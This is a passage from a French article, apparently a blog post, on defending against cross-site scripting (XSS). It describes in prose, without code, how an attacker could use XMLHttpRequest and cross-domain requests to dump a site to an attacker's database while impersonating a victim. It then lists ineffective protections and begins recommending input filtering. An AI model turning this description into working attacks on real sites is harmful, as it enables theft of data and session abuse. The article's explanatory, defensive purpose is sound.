Non ! Et c’est une raison de plus pour prendre au sérieux la menace réelle que constitue cette faille ! Concrètement, il suffit d’avoir quelques connaissances en JavaScript pour pouvoir exploiter une faille XSS sur un site de base non protégé. De plus, la popularité grandissante d’Ajax offre encore de nouvelles possibilités, puisque l’objet XMLHttpRequest permet d’effectuer des requêtes asynchrones sur le serveur. Cela permet d’effectuer des requêtes en se faisant passer pour la victime tout en restant invisible. Et même si Ajax ne permet pas d’effectuer de requêtes sur un autre serveur (les requêtes sur des serveurs autres que celui visité ne sont pas permises par le navigateur), il existe une technique permettant de passer outre et d’effectuer des requêtes cross-domain de façon détournée. Il devient alors possibles d’envoyer des requêtes sur un site distant, comme par exemple le site Web de l’attaquant.

Ainsi, en ayant un minimum de connaissances JavaScript, il est possible de concevoir un exploit permettant de dumper un site Web vers une base de données contrôlée par l’attaquant, tout en se faisant passer pour un visiteur et donc en ayant accès à toutes les pages qu’il peut voir. Ainsi, même si l’attaquant n’a aucune connaissance au préalable d’un site Web et des éventuelles zones à accès réservés, il peut étudier ces dumps en off-line de façon totalement invisible puisqu’il ne consulte jamais le serveur directement. Il pourra alors mettre au point un second exploit qui lui permettra par la suite d’effectuer véritablement l’attaque en effectuant des requêtes pour le compte de la victime.

Les techniques qui ne protègent pas un site contre les XSS

Les pratiques suivantes ne protègent en rien un site Web contre les XSS :

Vérification les IP des visiteurs authentifiés — inutile puisque le code est exécuté par la victime !
Protections par .htaccess — inutile puisque si la victime est authentifiée, la requête forgée pourra être exécutée
Utilisation de HTTPS — ne change absolument rien, JavaScript et Ajax fonctionnent très bien en HTTPS…

Attention, je n’ai pas dit que ces mesures de protections étaient complètement inutiles ; juste que dans le cas de la XSS, elles le sont.

La seule solution pour en finir avec les XSS

On ne le répétera jamais assez, il faut filtrer toutes les entrées utilisateur, en particulier celles que l’on affiche sur le site. Cela est valable pour toutes les variables envoyées par GET, POST, récupérées via les cookies, et plus généralement tout ce qui transite dns les requêtes HTTP, comme les entêtes (dont le célèbre X-Forwarded-For) donc même certaines variables du tableau $_SERVER de PHP. Pour être efficace, la fonction de filtrage doit :

Remplacer les caractères spéciaux par leurs entités HTML correspondantes
Supprimer toutes les balises HTML (dont